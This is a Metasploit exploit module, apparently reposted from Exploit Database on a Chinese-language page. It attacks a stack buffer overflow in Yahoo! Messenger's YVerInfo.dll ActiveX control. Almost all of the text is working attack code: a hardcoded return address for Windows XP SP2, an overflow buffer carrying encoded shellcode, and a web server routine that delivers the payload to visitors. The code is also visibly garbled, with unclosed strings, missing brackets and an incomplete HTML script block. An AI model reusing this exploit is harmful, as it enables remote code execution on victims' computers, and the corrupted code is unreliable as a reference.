Yahoo! Messenger – ‘YVerInfo.dll’ ActiveX Control Buffer Overflow (Metasploit)

Exploit Database
101 阅读

作者： Metasploit

日期： 2010-05-09
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16522/

# $Id: yahoomessenger_fvcom.rb 9262 2010-05-09 17:45:00Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in the Yahoo! Messenger ActiveX

Control (YVerInfo.dll <= 2006.8.24.1). By sending a overly long string

to the "fvCom()" method from a yahoo.com domain, an attacker may be able

to execute arbitrary code.

'License'=> MSF_LICENSE,

'Author' => [ 'MC' ],

'Version'=> '$Revision: 9262 $',

'References' =>

[

[ 'CVE', '2007-4515' ],

[ 'OSVDB', '37739' ],

[ 'BID', '25494' ],

[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=591' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 800,

'BadChars'=> "\x00\x09\x0a\x0d'\\",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP2 Pro English', { 'Ret' => 0x7cc58fd8} ], # Tested on fully patched XPSP2 9/29/07

'DisclosureDate' => 'Aug 30 2007',

'DefaultTarget'=> 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

# Randomize some things

vname = rand_text_alpha(rand(100) + 1)

strname = rand_text_alpha(rand(100) + 1)

# Set the exploit buffer

sploit =rand_text_english(411) + [target.ret].pack('V')

sploit << p.encoded + rand_text_english(payload.encoded.length)

# Build out the message

content = %Q|

<html>

#{strname} = new String('#{sploit}');

#{vname}.fvcom(#{strname});

</script>

</html>

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end